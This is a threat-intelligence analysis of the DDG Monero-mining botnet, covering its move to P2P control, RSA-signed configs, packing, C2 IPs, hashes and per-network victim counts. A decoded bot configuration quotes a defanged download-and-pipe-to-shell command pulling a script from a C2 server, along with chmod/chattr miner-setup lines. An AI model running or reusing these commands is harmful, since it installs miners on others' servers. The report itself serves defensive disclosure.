1. Overview

DDG is a mining botnet we discovered in Oct 2017 has been covered by us multiple times with some of its’ major updates.

With the beginning of the new year, the author starts to push out version updates in an unprecedented level, starts to push out version updates in an unprecedented level, we logged 5 version updates (v3015, v3016, v3017, v3018, v3019) from 2019.1.3 to 2019.1.18, and the latest update v3020 came in 1.27, 3 days ago.

The revenue generated by this botnet is not that much (Total paid:233.9472098595 XMR), and no new exploit has been added with all these updates, why the author has been so busy, what is he up to?

With the recent updates, the botnet starts to use P2p Communication
mechanism to control its bots. Its P2P is based on a so called Memberlist implementation on SWIM/Lifeguard protocol. Also, some anti-analysis mechanisms such like binary packing have been adopted, these new features make the botnet more resilient.

In order to gain some visibility, we wrote a small tracking program to join the DDG P2P network and pull some important information such as node list,  node information, newest configuration, and the newest working CC IP.

Recent DDG updates timeline:

1.1 DDG Background

DDG is an XMR mining botnet focusing on vulnerable SSH, Redis databases, and ORIENTDB database servers.

We first covered it on October 25, 2017, then followed up with more articles when we saw some major updates:

1.2 DDG Mining info

Wallet:

42d4D8pASAWghyTmUS8a9yZyErA4WB18TJ6Xd2rZt9HBio2a
PmAAVpHcPM8yoDEYD9Fy7eRvPJhR7SKFyTaFbSYCNZ2t3ik

Type : XMR

Pool: nanopool  Paid : 28.3146026927

Pool : supportxmr   Paid : 205.632607167

Total Paid : 233.9472098595 XMR

2. DDG Peers

We were able to registered and sinkholed two C2 domains when we first observed the original DDG botnet. With the sinkhole data, we had a very accurate bot statistic at that time, 4,391 unique compromised host IP addresses, (DDG: A Mining Botnet Aiming at Database Servers).

As we mentioned above, the botnet’s new updates add P2P protocol support, and we developed a tracking program to tap into its’ P2P network and have been tracking some key numbers, our most recent pull shows a total of 5,695 compromised hosts.

As a security precaution, we cannot share publicly the victim list, but relevant service provider are welcomed to check with us for a list of their victim IPs. See IOC at the bottom for all the ASNs.

AS37963|Hangzhou_Alibaba_Advertising_Co.,Ltd. 2245
AS45090|Shenzhen_Tencent_Computer_Systems_Company_Limited 975
AS4134|No.31,Jin-rong_Street 640
AS4808|China_Unicom_Beijing_Province_Network 173
AS38365|Beijing_Baidu_Netcom_Science_and_Technology_Co.,_Ltd. 144
AS4837|CHINA_UNICOM_China169_Backbone 129
AS14061|DigitalOcean,_LLC 70
AS4812|China_Telecom_(Group) 59
AS132203|Tencent_Building,_Kejizhongyi_Avenue 59
AS58461|No.288,Fu-chun_Road 57
AS45102|Alibaba_(China)_Technology_Co.,_Ltd. 52
AS63949|Linode,_LLC 41
AS23724|IDC,_China_Telecommunications_Corporation 39
AS23650|AS_Number_for_CHINANET_jiangsu_province_backbone 38
AS4847|China_Networks_Inter-Exchange 37
AS4538|China_Education_and_Research_Network_Center 34
AS17621|China_Unicom_Shanghai_network 32
AS9808|Guangdong_Mobile_Communication_Co.Ltd. 31
AS55933|Cloudie_Limited 27
AS4766|Korea_Telecom 27
OTHER	OTHER	785

3. A little bit background

The main execution process for DDG’s core sample (ddgs.i686/ddgs.x86_64) stays pretty much the same from the previous versions (for more information please refer to our old blog DDG: A Mining Botnet Aiming at Database Servers ).

DDG botnet has always been using a HUB IP List to facilitate communications between bots and C2s. The bots go through every single IP on the HUB IP list to find and connect to live C2s (most IPs on the list are not active). Before V3015, the HUB IP List was always hardcoded into the sample itself.

4. Adopting P2P Mechanism and RSA Signature

After the introduction of P2P mechanism in DDG v3015~v302, the previous HUB IP List has been changed accordingly:

  • DDG V3015, only one IP node (61.91.81.253:7946) is embedded in the sample and the bot joins the P2P network through this IP according to the P2P protocol and Memberlist framework. This IP acts like a bridge to new P2P communication. Reader probably will have question why only 1 IP was present, as that can easily be a single point of failure for the botnet.
  • And that is why starting from v3016, the embedded Hub IP list expands to include around 200 IP:Ports pairs. Most of these IPs are compromised hosts but only a few are real C2 servers, providing download service for configuration data and samples. This greatly increases the success probability for a new sample to join the P2P network.

When a bot successfully joins the DDG P2P network, it calls the memberlist.Members() function to get the Peers list on the current P2P network. This will list only partial peer nodes in the network due to the weakly consistent property of the protocol. According to our tests, each function call obtains about 1,900 peers.

P2P mechanism greatly increases the robustness of botnet infrastructure, making DDG botnet much harder to be taken down. The details of P2P protocol used by DDG can be found in relevant papers and its implementation framework Memberlist is described in Hashicorp Memberlist analysis.

Moreover, to protect the integrity of configuration data, DDG author signs the configuration with RSA and DDG bot will validate the RSA signature before accepting the configuration. This makes it impossible to poison the P2P botnet through faking configuration file.

In DDG v3015~v3019, the obtained peer list is saved to file ~/.ddg/<VERSION_NUMBER>.bs, and gets updated on the fly during run time. Therefore, the peer list in the file will be different at different time. The code for the .bs file in the sample is as follows:

In the latest v3020 release, DDG replaces the previous ~/.ddg/.bs file with an embedded open source KV storage engine called Bolt. As a result, the Peers list obtained will no longer be stored in a local file, but in a small embedded database. The key code calling Bolt functions is as follows:

The bot attempts to communicate with the acquired IP nodes. If successful, the configuration data is downloaded by an HTTP POST request to http://<ip>:8000/slave. The configuration data is serialized by msgpack. A decoded content sample is as follows:

{
    'Data':{
    	'CfgVer': 6,
    	'Cmd': {
    		'AAredis': {
    			'Duration': '240h',
    			'GenAAA': False,
    			'GenLan': True,
    			'IPDuration': '6h',
    			'Id': 6062,
    			'Ports': [6379, 6389, 7379],
    			'ShellUrl': 'hxxp://132.148.241.138:8000/i.sh',
    			'Timeout': '1m',
    			'Version': 3017
    		},
    		'AAssh': {
    			'Duration': '240h',
    			'GenAAA': False,
    			'GenLan': True,
    			'IPDuration': '12h',
    			'Id': 2057,
    			'NThreads': 100,
    			'Ports': [22, 2222, 12222, 52222, 1987],
    			'ShellUrl': 'hxxp://132.148.241.138:8000/i.sh',
    			'Timeout': '1m',
    			'Version': 3017
    		},
    		'Killer': [{
    				'Expr': '(/tmp/ddgs.3011|/tmp/ddgs.3012|/tmp/ddgs.3013|/tmp/ddgs.3014|/tmp/ddgs.3015|   /tmp/ddgs.3016)',
    				'Id': 475,
    				'Timeout': '60s',
    				'Version': 3017
    			},
    			{
    				'Expr': '.+(cryptonight|stratum+tcp://|dwarfpool.com|supportxmr.com).+',
    				'Id': 483,
    				'Timeout': '60s',
    				'Version': -1
    			},
    			{
    				'Expr': './xmr-stak|./.syslog|/bin/wipefs|./xmrig|/tmp/wnTKYg|/tmp/2t3ik',
    				'Id': 484,
    				'Timeout': '60s',
    				'Version': -1
    			},
    			{
    				'Expr': '/tmp/qW3xT.+',
    				'Id': 481,
    				'Timeout': '60s',
    				'Version': 3017
    			}
    		],
    		'LKProc': [{
    			'Expr': '/tmp/qW3xT.4',
    			'Id': 488,
    			'Timeout': '60s',
    			'Version': 3017
    		}],
    		'Sh': [{
    				'Id': 479,
    				'Line': '(curl -fsSL hxxp://132.148.241.138:8000/i.sh||wget -q -O-  hxxp://132.148.241.138:8000/i.sh) | sh',
    				'Timeout': '120s',
    				'Version': -1
    			},
    			{
    				'Id': 486,
    				'Line': 'chattr -i /tmp/qW3xT.4; chmod +x /tmp/qW3xT.4',
    				'Timeout': '20s',
    				'Version': 3017
    			}
    		]
    	},
    	'Config': {
    		'Interval': '60s'
    	},
    	'Miner': [{
    		'Exe': '/tmp/qW3xT.4',
    		'Md5': '9dd8c5b1dc74286d81bc78372d9b7f27',
    		'Url': '/static/qW3xT.4'
    	}]
    },
    'Signature': [0x3b,0xd9,0x73,0x04,0x6d,0x75,0x68,0xe8,0xdd,0xd6,0x0c,0x5e,0xac,0xd1,0x29,0x2d,0x16,0x31,0x03,0xf4,0xfb,0xbb,0xa8,0x7d,0xba,0x6a,0xc8,0xda,0x6f,0xec,0x42,0x16,0x6a,0x00,0x8b,0x62,0x3f,0xa1,0x11,0x9b,0x16,0xe8,0xf2,0x13,0xb1,0x45,0x40,0xc5,0xd4,0xc6,0xaa,0x90,0x99,0x98,0x4b,0xc9,0x70,0x66,0x77,0x18,0xa9,0x82,0x53,0xb9,0x4f,0x10,0x05,0xdf,0x8d,0x6c,0x3a,0x31,0x2b,0x45,0x6f,0x9d,0xcb,0xd2,0x7d,0x5e,0x90,0x5f,0xb9,0x59,0x9e,0xa2,0x40,0x02,0x1b,0xe9,0xed,0xd5,0x57,0xb5,0x09,0x41,0x1e,0xd8,0x41,0xd8,0x0b,0xa8,0xd1,0x54,0x00,0xab,0x43,0xdc,0x70,0xce,0xca,0x14,0xc5,0x19,0xc9,0x37,0x0f,0x19,0xe0,0x02,0x95,0x30,0x57,0xa6,0xbb,0xc4,0xa6,0x85,0x51,0xcc,0x9b,0x0d,0xc4,0xc5,0x7d,0xb9,0xc4,0xa0,0x93,0x00,0xec,0x52,0x06,0x77,0xfe,0x82,0x52,0x1e,0x88,0xf2,0xe2,0xc6,0x21,0x3e,0x81,0x7e,0x1e,0x53,0x9d,0xb0,0xab,0xd4,0xc2,0xa3,0x85,0x8b,0xef,0xac,0xdd,0x9d,0x4b,0x5a,0x13,0x8e,0xa1,0x31,0x6d,0xc5,0xb2,0xf4,0xca,0x54,0x85,0x29,0xa0,0x62,0x0d,0xac,0xde,0xfa,0x86,0x09,0x2b,0x1c,0x05,0x5f,0xa0,0xa4,0x91,0x11,0xb0,0x6d,0x7e,0x1c,0xab,0x31,0x6f,0xca,0x64,0x15,0x44,0xe5,0xaf,0x24,0x12,0xb6,0x74,0xde,0x9c,0xc1,0xf7,0x0c,0x22,0x80,0x1f,0x07,0x2b,0x57,0xe2,0xfb,0xf9,0x39,0x0b,0x1b,0x4f,0xa3,0x82,0x07,0xce,0x35,0x41,0x23,0x73,0x94,0x8c,0x27,0x1b,0x77,0x1f,0x5e,0xdd,0xb5,0xb1,0xa6,0xa1,0x6c]
}

Note the last item in the configuration data: Signature. This is an RSA signature applied to the Data section, and will be verified by the bot before it gets accepted.

The RSA public key in the sample is as follows:

-----BEGIN PUBLIC KEY-----
MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA1+/izrOGcigBPC+oXnr2
S3JI76iXxqn7e9ONAmNS+m5nLQx2g0GW44TFtMHhDp1lPdUIui1b1odu36i7Cf0g
31vdYi1i6nGfXiI7UkHMsLVkGkxEknNL1c1vv0qE1b2i2o4TlcXHKHWOPu4xrpYY
m3Fqjni0n5+cQ8IIcVyjkX7ON0U1n8pQKRWOvrsPhO6tvJnLckK0P1ycGOcgNiBm
sdA5WDjw3sg4xWCQ9EEpMeB0H1UF/nv7AZQ0etncMxhiWoBxamuPWY/KS3wZStUd
gsMBOAOOpnbxL9N+II7uquQQkMmO6HriXRmjw14OmSBEoEcFMWF2j/0HPVasOcx2
xQIDAQAB
-----END PUBLIC KEY-----

5. Anti-Analysis Efforts

5.1 Embedded Hub IP List: From Plain Text String to Hex Integer

As mentioned previously, there’s only one Hub IP node, 61.91.81.253:7946, embedded in DDG v3015. Later in v3016, that number changed to 100 plus IP:port pairs. In both cases, the IP:port pairs are stored as plain text string.

Then, from DDG v3017 to v3020, the Hub IP list expands to include around 200 hosts and is stored as hex integer, making the analysis slightly more difficult. And each line only contains an IP, bot tried port :7946 or :7947 when it runs.

The following screenshots show this change from v3015 to v3017.


Figure: Hub IP List in DDG v3015


Figure: Partial Hub IP List in DDG v3016


Figure: Partial Hub IP List in DDG v3017

5.2 UPX Protection in v3017, v3018 and v3020

The samples of DDG v3017 and v3018 are packed with UPX v3.9.5, which decreases the file size for a faster download and probably will break some IDS signatures.
In v3019, the UPX packer was gone but came back again in DDG v3020.

5.3 File Names

It is common practice for a program to stick to its name when it updates, but not in ddg case. As the project name, core file name on the C2 server, as well as the downloaded sample name changed multiple times, see below:

It almost feels like the ddg author has not made up his mind yet, or maybe trying to evade detection? We don’t know the exact answer.

6. Contact Us

Readers can feel free to contact us on our twitter or WeChat 360Netlab .

7. IoC

CC IP:

104.236.156.211		14061|DigitalOcean, LLC	     United States|California|San Francisco
61.91.81.253		   9287|TRUEINTERNET Co.,Ltd.	Thailand
132.148.241.138		26496|GoDaddy.com, LLC	     United States|Arizona|Phoenix
45.77.166.74		   20473|Choopa, LLC	    United States|Florida|Miami
117.141.5.87		   9808|Guangdong Mobile Communication Co.Ltd.	China|Guangxi|Nanning
104.248.181.42         14061|DigitalOcean, LLC      United States|California|San Francisco

MD5:

61379bc98e062b01ee43ce6e831ebcce
aa54c23cb4cb7729e5506db788b2c95c
ed80b35ee59084f96aa10674fc0cce27
ee677c1847a10f98ea40d9e7cadc371e
61379bc98e062b01ee43ce6e831ebcce
39a2303ffff0c1ccb123a7963f0a815a
3feaa446f0121b73723dde142fe23deb
7cf1a0a6b189b8778d3952f7f38b37a1
aa1eaf02b03f26ecfb9f09e7930fdfe0
7cf1a0a6b189b8778d3952f7f38b37a1
aa1eaf02b03f26ecfb9f09e7930fdfe0
8c2e1719192caa4025ed978b132988d6
d6187a44abacfb8f167584668e02c918
9dd8c5b1dc74286d81bc78372d9b7f27
3ebe43220041fe7da8be63d7c758e1a8
d894bb2504943399f57657472e46c07d
fb6bf5af8771b0dc446861484335fc5e

Mining Pool Proxy:

104.130.210.206:8000    19994|Rackspace_Hosting    United States|Illinois|Chicago
59.2.77.151:8000        4766|Korea_Telecom         Republic of Korea|Jeonbuk
104.130.210.206:8443    19994|Rackspace_Hosting    United States|Illinois|Chicago

ASN and Compromised Host Numbers

AS37963|Hangzhou_Alibaba_Advertising_Co.,Ltd. 2245
AS45090|Shenzhen_Tencent_Computer_Systems_Company_Limited 975
AS4134|No.31,Jin-rong_Street 640
AS4808|China_Unicom_Beijing_Province_Network 173
AS38365|Beijing_Baidu_Netcom_Science_and_Technology_Co.,_Ltd. 144
AS4837|CHINA_UNICOM_China169_Backbone 129
AS14061|DigitalOcean,_LLC 70
AS4812|China_Telecom_(Group) 59
AS132203|Tencent_Building,_Kejizhongyi_Avenue 59
AS58461|No.288,Fu-chun_Road 57
AS45102|Alibaba_(China)_Technology_Co.,_Ltd. 52
AS63949|Linode,_LLC 41
AS23724|IDC,_China_Telecommunications_Corporation 39
AS23650|AS_Number_for_CHINANET_jiangsu_province_backbone 38
AS4847|China_Networks_Inter-Exchange 37
AS4538|China_Education_and_Research_Network_Center 34
AS17621|China_Unicom_Shanghai_network 32
AS9808|Guangdong_Mobile_Communication_Co.Ltd. 31
AS55933|Cloudie_Limited 27
AS4766|Korea_Telecom 27
AS25820|IT7_Networks_Inc 27
AS9318|SK_Broadband_Co_Ltd 17
AS16509|Amazon.com,_Inc. 16
AS58466|CHINANET_Guangdong_province_network 15
AS15169|Google_LLC 15
AS63835|No.293,Wanbao_Avenue 14
AS58879|Shanghai_Anchang_Network_Security_Technology_Co.,Ltd. 14
AS38283|CHINANET_SiChuan_Telecom_Internet_Data_Center 14
AS59019|Beijing_Kingsoft_Cloud_Internet_Technology_Co.,_Ltd 13
AS58593|Shanghai_Blue_Cloud_Technology_Co.,Ltd 13
AS45187|Rackspace_IT_Hosting_AS_IT_Hosting_Provider_Hong_Kong 13
AS20473|Choopa,_LLC 13
AS56046|China_Mobile_communications_corporation 12
AS135453|DISKOMINFO_TANGERANG_SELATAN 12
AS7506|GMO_Internet,Inc 10
AS24138|China_Tietong_Telecommunication_Corporation 10
AS45899|VNPT_Corp 9
AS45753|NETSEC 9
AS133115|hongkong_kwaifong_information_service_limited 9
AS131486|Beijing_Jingdong_360_Degree_E-commerce_Co.,_Ltd. 9
AS9498|BHARTI_Airtel_Ltd. 8
AS4816|China_Telecom_(Group) 8
AS3786|LG_DACOM_Corporation 8
AS26496|GoDaddy.com,_LLC 8
AS45353|NITC:_IT_Agency_of_Government_of_Nepal 7
AS24444|Shandong_Mobile_Communication_Company_Limited 7
AS135026|ThinkDream_Technology_Limited 7
AS9381|WTT_HK_Limited 6
AS56067|453_Ladplacout_Jorakhaebua 6
AS45058|Golden-Bridge_Netcom_communication_Co.,LTD. 6
AS3462|Data_Communication_Business_Group 6
AS24547|Hebei_Mobile_Communication_Company_Limited 6
AS17638|ASN_for_TIANJIN_Provincial_Net_of_CT 6
AS16276|OVH_SAS 6
AS133380|Layerstack_Limited 6
AS8100|QuadraNet_Enterprises_LLC 5
AS8075|Microsoft_Corporation 5
AS59078|Yunify_Technologies_Inc. 5
AS56048|China_Mobile_Communicaitons_Corporation 5
AS56041|China_Mobile_communications_corporation 5
AS4835|China_Telecom_(Group) 5
AS4621|Chulalongkorn_University 5
AS17974|PT_Telekomunikasi_Indonesia 5
AS137314|Politeknik_Negeri_Jember 5
AS131392|GMO-Z.com_Runsystem_Joint_Stock_Company 5
AS9802|Abitcool(China)_Inc. 4
AS63612|Shenzhen_Qianhai_bird_cloud_computing_Co._Ltd. 4
AS58543|Guangdong 4
AS56040|China_Mobile_communications_corporation 4
AS50673|Serverius_Holding_B.V. 4
AS45093|Cnean_Internet_Exchange 4
AS40676|Psychz_Networks 4
AS36352|ColoCrossing 4
AS22923|Yesup_Ecommerce_Solutions_Inc. 4
AS18403|The_Corporation_for_Financing_&_Promoting_Technology 4
AS135377|UCloud_(HK)_Holdings_Group_Limited 4
AS134771|CHINANET_Sichuan_province_Chengdu_MAN_network 4
AS134764|CHINANET_Guangdong_province_network 4
AS134705|Itace_International_Limited 4
AS9829|National_Internet_Backbone 3
AS9341|PT_Indonesia_Comnets_Plus 3
AS7489|HostUS 3
AS62468|VpsQuan_L.L.C. 3
AS58542|Yueyang 3
AS58477|Argon_Data_Communication 3
AS55990|Huawei_Cloud_Service_data_center 3
AS55688|PT._Beon_Intermedia 3
AS38682|National_Institute_of_Environmental_Research 3
AS38197|Sun_Network_(Hong_Kong)_Limited_-_HongKong_Backbone 3
AS24400|Shanghai_Mobile_Communications_Co.,Ltd. 3
AS23969|TOT_Public_Company_Limited 3
AS23844|Beijing_Guanghuan_Xinwang_Digital 3
AS17964|Beijing_Dian-Xin-Tong_Network_Technologies_Co.,_Ltd. 3
AS17816|China_Unicom_IP_network_China169_Guangdong_province 3
AS17451|BIZNET_NETWORKS 3
AS1659|Taiwan_Academic_Network_(TANet)_Information_Center 3
AS135386|LinkChina_Telecom_Global_Limited. 3
AS134763|CHINANET_Guangdong_province_network 3
AS133774|Fuzhou 3
AS133405|AS_Data(Hong_Kong)Limited 3
AS9929|CHINA_UNICOM_Industrial_Internet_Backbone 2
AS9416|Hoshin_Multimedia_Center_Inc. 2
AS9312|xTom 2
AS7545|TPG_Telecom_Limited 2
AS7470|TRUE_INTERNET_Co.,Ltd. 2
AS59134|PT._Datacomm_Diangraha 2
AS58519|Cloud_Computing_Corporation 2
AS58487|Rumahweb_Indonesia_CV. 2
AS55967|Beijing_Baidu_Netcom_Science_and_Technology_Co.,_Ltd. 2
AS55720|Gigabit_Hosting_Sdn_Bhd 2
AS4809|China_Telecom_Next_Generation_Carrier_Network 2
AS4800|Network_Access_Provider_and_Internet_Service_Provider 2
AS45996|DAOU_TECHNOLOGY 2
AS43554|Cifrovye_Dispetcherskie_Sistemy 2
AS38731|CHT_Compamy_Ltd 2
AS3842|RamNode_LLC 2
AS3269|Telecom_Italia 2
AS24309|Atria_Convergence_Technologies_Pvt._Ltd._Broadband_Internet_Service_Provider_INDIA 2
AS24085|Quang_Trung_Software_City_Development_Company 2
AS23947|PT.Mora_Telematika_Indonesia 2
AS23695|ELGANET-ASN_PT._Elga_Yasa_Media_Internet_Service 2
AS18245|CNNIC 2
AS17753|INTERNET_SERVICE_PROVIDER 2
AS17444|AS_number_for_New_World_Telephone_Ltd. 2
AS138115|PT_Deneva 2
AS137260|Bit_Exchange_Systems_Limited 2
AS136959|China_Unicom_Guangdong_IP_network 2
AS136950|Hong_Kong_FireLine_Network_LTD 2
AS136190|DaLi 2
AS135915|8_Floor,_96-98_Dao_Duy_Anh,_Phu_Nhuan,_HCMC 2
AS135173|INDIA_METEOROLOGICAL_DEPARTMENT 2
AS134768|CHINANET_Sichuan_province_Chengdu_MAN_network 2
AS134765|CHINANET_Sichuan_province_Chengdu_MAN_network 2
AS134762|CHINANET_Sichuan_province_Chengdu_MAN_network 2
AS134548|DXTL_Tseung_Kwan_O_Service 2
AS134366|Yunify_Technologies_(HK)_Limited 2
AS133775|Xiamen 2
AS133201|ABCDE_GROUP_COMPANY_LIMITED 2
AS133199|SonderCloud_Limited 2
AS131921|GMO_CLOUD_K.K. 2
AS10029|SHYAM_SPECTRA_PVT_LTD 2
AS9931|The_Communication_Authoity_of_Thailand,_CAT 1
AS9821|Department_of_Science_and_Technology 1
AS9812|Oriental_Cable_Network_Co.,_Ltd. 1
AS9708|Pukyong_National_University 1
AS9430|Software_Technology_Parks_of_India,Block-IV 1
AS9394|China_TieTong_Telecommunications_Corporation 1
AS9370|SAKURA_Internet_Inc. 1
AS9306|China_International_Electronic_Commerce_Center 1
AS9287|TRUEINTERNET_Co.,Ltd. 1
AS8517|National_Academic_Network_and_Information_Center 1
AS7922|Comcast_Cable_Communications,_LLC 1
AS7629|5F_L.V._Locsin_Bldg 1
AS7552|Viettel_Group 1
AS7162|Universo_Online_S.A. 1
AS701|MCI_Communications_Services,_Inc._d/b/a_Verizon_Business 1
AS7018|AT&T_Services,_Inc. 1
AS6640|CenturyLink_Communications,_LLC 1
AS63959|Hong_Kong_Syscloud_Technology_Limited 1
AS63888|TISP_LIMITED 1
AS63838|Hengyang 1
AS63741|DCNET_Telecommunication_joint_stock_company 1
AS63646|Beijing_Xiaoju_Science_and_Technology_Co.,_Ltd. 1
AS63473|HostHatch,_Inc 1
AS62217|VooServers_Ltd 1
AS59164|Apollo_Online_Services_Pvt_ltd 1
AS59089|NO.18_Building_University_of_Technology 1
AS59077|Shanghai_UCloud_Information_Technology_Company_Limited 1
AS58854|Xiamen_Aiya_network_Technology_Co._Ltd. 1
AS58768|Daffodil_Online_Ltd. 1
AS58717|Summit_Communications_Ltd 1
AS58641|Trunkoz_Technologies_Pvt_Ltd 1
AS58563|CHINANET_Hubei_province_network 1
AS58541|Xiangtan 1
AS58397|PT_Infinys_System_Indonesia 1
AS58097|OOO_Taxcom 1
AS577|Bell_Canada 1
AS56209|R._K._INFRATEL_LIMITED 1
AS56202|Suite_no_10,_Level_5_C_Wing 1
AS56140|ModernOne_Data_Solutions_Sdn._Bhd. 1
AS56047|China_Mobile_communications_corporation 1
AS56044|China_Mobile_communications_corporation 1
AS55824|NKN_Core_Network 1
AS55803|Digital_Pacific_Pty_Ltd_Australia 1
AS55769|SOUTH_EAST_ASIA_TELECOM_(Cambodia)_Co.,_LTD 1
AS55701|PT._Usaha_Adisanggoro 1
AS55410|C48_Okhla_Industrial_Estate,_New_Delhi-110020 1
AS54600|PEG_TECH_INC 1
AS54290|Hostwinds_LLC. 1
AS53667|FranTech_Solutions 1
AS53587|AZURE_TECHNOLOGY_CO.,_LIMITED 1
AS52286|Columbus_Networks_Guatemala 1
AS4788|TM_Net,_Internet_Service_Provider 1
AS4787|PT_Cyberindo_Aditama 1
AS4775|Globe_Telecoms 1
AS4765|Pacific_Internet_Pte_Ltd 1
AS47452|Super_iMAX 1
AS4658|2012_Limited_/_Netfront 1
AS46015|Exa_Bytes_Network_Sdn.Bhd. 1
AS45910|i-System_Technology_Limited 1
AS45766|Triangle_Services_Limited. 1
AS45758|Triple_T_Internet/Triple_T_Broadband 1
AS45754|Clear_Path_Networks_Inc 1
AS45629|JasTel_Network_International_Gateway 1
AS45587|China_Broadband_Communications_(CBCnet) 1
AS45429|CAMBODIAN_SINGMENG_TELEMEDIA_CO.,_LTD 1
AS45062|Guangzhou_NetEase_Computer_System_Co.,_Ltd. 1
AS42331|PE_Freehost 1
AS40065|CNSERVERS_LLC 1
AS38802|Azurance_Limited 1
AS38661|purplestones 1
AS38532|USONYX_PTE_LTD 1
AS38277|CommuniLink_Internet_Limited. 1
AS38186|Forewin_Telecom_Group_Limited,_ISP_at 1
AS38001|NewMedia_Express_Pte_Ltd 1
AS37943|ZhengZhou_GIANT_Computer_Network_Technology_Co.,_Ltd 1
AS3257|GTT_Communications_Inc. 1
AS31898|Oracle_Corporation 1
AS31034|Aruba_S.p.A. 1
AS2828|MCI_Communications_Services,_Inc._d/b/a_Verizon_Business 1
AS27979|Stel_Chile_S.A. 1
AS278|Universidad_Nacional_Autonoma_de_Mexico 1
AS26832|Rica_Web_Services 1
AS26658|HT 1
AS2609|Tunisia_BackBone_AS 1
AS2549|Universidad_de_Guadalajara 1
AS2516|KDDI_CORPORATION 1
AS24940|Hetzner_Online_GmbH 1
AS24521|PT._DATA_Utama_Dinamika 1
AS24445|Henan_Mobile_Communications_Co.,Ltd 1
AS24428|Beijing_Founder_Broadband_Network_Technology_Co.,Ltd 1
AS24246|Internap_Network_Services 1
AS24204|Satnetcom_Balikpapan_PT. 1
AS23748|Cat_Networks_K.K. 1
AS22552|eSited_Solutions 1
AS21859|Zenlayer_Inc 1
AS20299|Newcom_Limited 1
AS19994|Rackspace_Hosting 1
AS197071|Dennis_Rainer_Warnholz_trading_as_active-servers.com 1
AS19429|Colombia 1
AS18209|Atria_Convergence_Technologies_pvt_ltd 1
AS18101|Reliance_Communications_Ltd.DAKC_MUMBAI 1
AS17971|TM-VADS_DC_Hosting 1
AS17968|Daqing_zhongji_petroleum_telecommunication_construction_limited_cpmpany 1
AS17897|asn_for_Heilongjiang_Provincial_Net_of_CT 1
AS17885|PT_Excelcomindo_Pratama 1
AS17877|NexG_Co.,_LTD 1
AS17775|shanghai_science_and_technology_network_communication_limited_company 1
AS17762|Tata_Teleservices_Maharashtra_Ltd 1
AS17623|China_Unicom_Shenzen_network 1
AS17557|Pakistan_Telecommunication_Company_Limited 1
AS17501|WorldLink_Communications_Pvt_Ltd 1
AS16345|Public_Joint_Stock_Company_Vimpel-Communications 1
AS138089|PT.Global_Media_Data_Prima 1
AS138080|PT_Global_Media_Inti_Semesta 1
AS138062|PT._Awan_Kilat_Semesta 1
AS137547|Zhengzhou_Lulinke_Information_Technology_CO.Ltd. 1
AS137539|China_Unicom 1
AS137185|HK_GALAXY_TELECOM_HOLDING_CO.,LIMITED 1
AS137098|Delix_Net_Solution_Pvt._Ltd 1
AS136970|YISU_CLOUD_LTD 1
AS136958|China_Unicom_Guangdong_IP_network 1
AS136782|Kirin_Networks 1
AS136561|KS_Network_Ltd 1
AS135905|VIETNAM_POSTS_AND_TELECOMMUNICATIONS_GROUP 1
AS135636|Rackh_Lintas_Asia,_pt 1
AS135357|Shenzhen_Katherine_Heng_Technology_Information_Co.,_Ltd. 1
AS135100|Maxnet_Online_Limited 1
AS134858|iForce_Networks 1
AS134835|Starry_Network_Limited 1
AS134810|China_Mobile_Group_JiLin_communications_corporation 1
AS134774|CHINANET_Guangdong_province_Shenzhen_MAN_network 1
AS134766|CHINANET_Sichuan_province_Chengdu_MAN_network 1
AS134761|CHINANET_Sichuan_province_Chengdu_MAN_network 1
AS134756|CHINANET_Nanjing_IDC_network 1
AS134553|i-Skill_Dynamics_Sdn_Bhd 1
AS134520|GigsGigs_Network_Services 1
AS134285|Andhra_Bank 1
AS134238|CHINANET_Jiangx_province_IDC_network 1
AS134088|NGN_Connection_Sdn._Bhd. 1
AS134078|NETPLUZ_HOLDINGS_PRIVATE_LIMITED 1
AS133847|Anpple_Tech_Enterprise 1
AS133779|Huayun_Data_International_Limited 1
AS133776|Quanzhou 1
AS133731|Xinyuan_Interconnect_(HK)_Limited 1
AS133525|Nimbus2_Pty_Ltd 1
AS133453|Mogul_Service_and_Support_LLC 1
AS133398|Tele_Asia_Limited 1
AS133364|Politeknik_Negeri_Jakarta 1
AS133273|Tata_Institute_of_Social_Sciences 1
AS133232|SAMPARK_ESTATES_PVT._LTD. 1
AS133118|China_Unicom_IP_network 1
AS132974|Suraj_Network 1
AS132883|TOPWAY_GLOBAL_LIMITED 1
AS132692|GlobiCom_Limited 1
AS132325|LEMON_TELECOMMUNICATIONS_LIMITED 1
AS132116|Ani_Network_Pvt_Ltd 1
AS131755|PT_Axarva_Media_Teknologi 1
AS131427|AOHOAVIET 1
AS131423|Branch_of_Long_Van_System_Solution_JSC_-_Hanoi 1
AS131353|NhanHoa_Software_company 1
AS131324|92Cloud_Technology_Co.,_Limited 1
AS131090|CAT_TELECOM_Public_Company_Ltd,CAT 1
AS11343|Webhosting_Holdings_LLC 1
AS10109|Topica_LLC,_Internet_Service_Provider,Ulaanbaatar,_Mongolia 1
AS10105|OMNIconnect_Pty_Ltd 1
AS10094|Telekom_Brunei_Berhad 1
AS10045|Hanbat_National_University 1
ASReserved; 2
ASNone; 1

7. References: